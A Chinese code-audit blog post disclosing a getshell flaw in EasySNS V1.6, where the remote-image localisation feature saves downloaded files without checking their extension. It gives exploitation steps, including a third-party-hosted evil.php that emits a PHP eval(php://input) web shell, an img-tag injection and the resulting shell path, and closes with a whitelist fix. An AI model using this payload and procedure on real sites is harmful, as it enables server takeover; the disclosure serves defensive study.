【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

时间:2022-06-25 08:24:40

0x00 环境准备

EasySNS官网:http://www.imzaker.com

网站源码版本:EasySNS极简社区V1.60

程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html

默认后台地址:http://127.0.0.1/admin.php/Login/login.html

默认账号密码:admin/admin

测试网站首页:

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

0x01 代码分析

​ 1、漏洞文件位置:  /app/common.func.php :

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

在公共调用函数里面,我们注意到getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,调用了getImage函数实现下载远程图片保存到本地,我们跟进同文件下的getImage函数进行查看:

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,那么这个函数是很危险的,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。

​ 2、全局搜索getImageToLocal函数,找到调用函数的地方:

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell漏洞文件:/app/index/controller/Topic.php,在topicadd函数中,webconfig('bd_image')==1即当程序开启远程图片本地化的时候,调用了getImageToLocal函数,我们可以根据条件构造Payload来进行漏洞利用,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

0x02 漏洞利用

一、利用条件

1、登录网站后台—系统管理—配置管理—开启远程图片本地化(默认安装情况下处于关闭状态):

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

2、在第三方网站放置一个evil.php作为代码源,如//bbsmax.ikafan.com/static/L3Byb3h5L2h0dHAvMTkyLjE2OC44LjEzMS9ldmlsLnBocA==.jpg

evil.php文件内容:

`<?php

echo "<?php ";

echo "eval(file_get_contents('php://input'));";

echo "?>";

?> `

二、漏洞利用

1、注册一个test1用户,选择发布帖子,在html代码编辑状态下插入img标签【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

2、点击发布后,查看我的帖子,获取上传后的文件名。

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

3、文件路径格式为:/uploads/picture/cache/'.​filename

查看个人主页获取uid值,

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

4、需要把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。

http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

0x03 修复建议

​ 白名单限制远程图片本地化下载的文件名后缀,只允许下载jpg、png等格式。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell